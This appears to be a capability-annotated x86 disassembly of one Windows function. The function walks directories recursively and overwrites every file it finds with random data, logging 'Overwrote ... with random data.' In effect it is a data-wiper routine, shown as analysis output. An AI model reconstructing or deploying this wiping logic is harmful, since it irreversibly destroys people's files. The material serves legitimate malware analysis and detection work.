Function at 0x404c90
Capabilities:
Enumerate files on windows
Enumerate files recursively
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43f6db
mov eax, dword fs:[0]
push eax
sub esp, 0x1b8
mov eax, dword [0x458004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x184], esi
push 0x4505a8
mov edx, esi
lea ecx, [ebp - 0x1ac]
call fcn.004083d0
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x404ce2
mov eax, dword [eax]
lea ecx, [ebp - 0x178]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edx, dword [ebp - 0x198]
mov dword [ebp - 0x17c], eax
cmp edx, 0x10
jb 0x404d36
mov ecx, dword [ebp - 0x1ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404d26
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40516b
push edx
push ecx
call fcn.00409373
mov eax, dword [ebp - 0x17c]
add esp, 8
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
cmp eax, 0xffffffff
jne 0x404da7
mov edx, str.Failed_to_open_directory:
mov ecx, 0x45a8b8
call fcn.00408070
cmp dword [esi + 0x14], 0x10
mov ecx, dword [esi + 0x10]
jb 0x404d70
mov esi, dword [esi]
push ecx
mov edx, esi
mov ecx, eax
call fcn.004090c0
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, str.._Error:
mov ecx, esi
call fcn.00408070
mov ecx, eax
call fcn.004062d0
push eax
call fcn.00408320
add esp, 4
jmp 0x405150
mov edi, dword [ebp - 0x17c]
nop dword [eax]
mov ecx, 0x4505d4
lea eax, [ebp - 0x14c]
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x404de0
test dl, dl
je 0x404ddc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x404de0
add eax, 2
add ecx, 2
test dl, dl
jne 0x404dc0
xor eax, eax
jmp 0x404de5
sbb eax, eax
or eax, 1
test eax, eax
je 0x405133
mov ecx, 0x4505d8
lea eax, [ebp - 0x14c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x404e18
test dl, dl
je 0x404e14
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x404e18
add eax, 2
add ecx, 2
test dl, dl
jne 0x404df8
xor eax, eax
jmp 0x404e1d
sbb eax, eax
or eax, 1
test eax, eax
je 0x405133
push 0x4505dc
mov edx, esi
lea ecx, [ebp - 0x1c4]
call fcn.004083d0
mov ecx, eax
add esp, 4
mov dword [ebp - 0x180], ecx
lea esi, [ebp - 0x14c]
mov dword [ebp - 4], 0
lea edx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x404e52
mov edi, dword [ecx + 0x14]
sub esi, edx
mov edx, dword [ecx + 0x10]
mov eax, edi
sub eax, edx
cmp esi, eax
ja 0x404e98
lea eax, [edx + esi]
mov dword [ecx + 0x10], eax
mov eax, ecx
cmp edi, 0x10
jb 0x404e78
mov eax, dword [ecx]
lea edi, [eax + edx]
push esi
lea eax, [ebp - 0x14c]
push eax
push edi
call fcn.0040e3e0
mov eax, dword [ebp - 0x180]
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x404eb3
push esi
lea eax, [ebp - 0x14c]
mov byte [ebp - 0x188], 0
push eax
push dword [ebp - 0x188]
push esi
call fcn.00408810
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x34], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x24], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x1b0]
cmp edx, 0x10
jb 0x404f21
mov ecx, dword [ebp - 0x1c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404f17
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40516b
push edx
push ecx
call fcn.00409373
add esp, 8
test byte [ebp - 0x178], 0x10
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0xf
mov byte [ebp - 0x1c4], 0
je 0x404f52
lea ecx, [ebp - 0x34]
call fcn.00404c90
jmp 0x4050f0
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
push 0
cmovae eax, dword [ebp - 0x34]
push 0x80
push 3
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x194], esi
cmp esi, 0xffffffff
je 0x4050a4
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
sub esp, 8
mov dword [ebp - 0x14], 0
xorps xmm0, xmm0
lea ecx, [ebp - 0x1c]
movq qword [ebp - 0x1c], xmm0
call fcn.00406250
mov byte [ebp - 4], 3
xor edx, edx
mov esi, dword [ebp - 0x1c]
xor edi, edi
mov ecx, dword [ebp - 0x18]
sub ecx, esi
mov dword [ebp - 0x190], esi
cmp esi, dword [ebp - 0x18]
mov dword [ebp - 0x18c], ecx
cmova ecx, edx
mov dword [ebp - 0x180], ecx
test ecx, ecx
je 0x404ff4
call fcn.0040c337
inc edi
mov byte [esi], al
lea esi, [esi + 1]
cmp edi, dword [ebp - 0x180]
jne 0x404fe1
mov esi, dword [ebp - 0x190]
lea eax, [ebp - 0x38]
mov edi, dword [ebp - 0x194]
push 0
push eax
push dword [ebp - 0x18c]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, str.Overwrote
mov ecx, 0x45a7c0
call fcn.00408070
cmp dword [ebp - 0x20], 0x10
lea edx, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae edx, dword [ebp - 0x34]
mov ecx, eax
call fcn.004090c0
mov edx, str._with_random_data.
mov ecx, eax
call fcn.00408070
push eax
call fcn.00408320
add esp, 8
mov byte [ebp - 4], 2
test esi, esi
je 0x4050f0
mov ecx, dword [ebp - 0x14]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x405083
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40516b
push ecx
push esi
call fcn.00409373
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
jmp 0x4050f0
mov edx, str.Failed_to_open_file
mov ecx, 0x45a8b8
call fcn.00408070
cmp dword [ebp - 0x20], 0x10
lea edx, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae edx, dword [ebp - 0x34]
mov ecx, eax
call fcn.004090c0
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, str.._Error:
mov ecx, esi
call fcn.00408070
mov ecx, eax
call fcn.004062d0
push eax
call fcn.00408320
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x20]
cmp edx, 0x10
jb 0x405127
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40511d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40516b
push edx
push ecx
call fcn.00409373
add esp, 8
mov edi, dword [ebp - 0x17c]
mov esi, dword [ebp - 0x184]
lea eax, [ebp - 0x178]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x404db0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409332
mov esp, ebp
pop ebp
ret
call fcn.00411115
int3